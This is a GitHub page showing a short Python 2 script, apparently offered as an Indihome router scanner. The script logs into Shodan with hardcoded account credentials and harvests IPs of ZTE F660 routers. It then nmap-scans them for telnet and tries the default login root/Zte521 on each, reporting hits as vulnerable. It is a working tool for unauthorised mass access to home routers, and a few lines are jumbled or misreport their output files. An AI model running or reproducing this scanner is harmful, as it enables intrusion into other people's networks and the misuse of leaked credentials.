-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathcok
More file actions
69 lines (61 loc) · 2.03 KB
/
cok
File metadata and controls
69 lines (61 loc) · 2.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python
import mechanize
import re
import telnetlib
import os
print '''
################################################
### Scanning No Internet Indihome/Speddy ###
################################################
############### By Bang Jeck ###################
'''
## Login, set header, handle cookie(?).
print "[+] Logging in to server ..."
dk = mechanize.Browser()
dk.set_handle_robots(False)
dk.addheaders = [("User-agent","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13")]
sign_in = dk.open("https://account.shodan.io/login")
dk.select_form(nr = 0)
dk["username"] = "acandh_cop" #username shodan account
dk["password"] = "akuhujani46" #password shodan account
logged_in = dk.submit()
## Buat file.txt dulu, buat nanti setor IP.
dkfile = open("/home/jack/RouterIP.txt", "w+")
dkfile.close()
## Ambil semua IP per page, max 5 pages untuk Free member
print "[+] Collecting No Inet..."
maxPage = 1
while maxPage <= 5:
req = dk.open("https://www.shodan.io/search?query=f660&page="+str(maxPage))
respData = req.read()
ip = re.findall(r'<div class="ip"><a href="/host/.*?">(.*?)</a>',str(respData))
doofile = open("/home/jack/RouterIP.txt", "a")
try:
for anu in ip:
doofile.write(str(anu)+"\n")
except:
pass
maxPage += 1
doofile.close()
print "[+] Done..!!! File saved in /home/jack/Noinet.txt"
Inet..."
print "[+] Scanning No
os.system("nmap -T5 -vv -iL /home/jack/RouterIP.txt -p 23 | grep 'Discovered open port' | awk {'print $6'} | awk -F/ {'print $1'} > /home/jack/IP.txt")
print "[+] Saved in /jack/home/noInet.txt"
print "[+] Logging in to target...."
iplist = open("/home/jack/IP.txt").read()
iplist = iplist.split()
for ipx in iplist:
try:
tn = telnetlib.Telnet(ipx, None, 13)
tn.read_until("Login: ")
tn.write("root\n")
tn.read_until("Password: ")
tn.write("Zte521\n")
tn.write("exit\n")
#print tn.read_all()
tn.close()
print ipx,'...Login Success !!! Target is Vulnerable'
except Exception, e:
print ipx, e, '...Not Vulnerable'
continue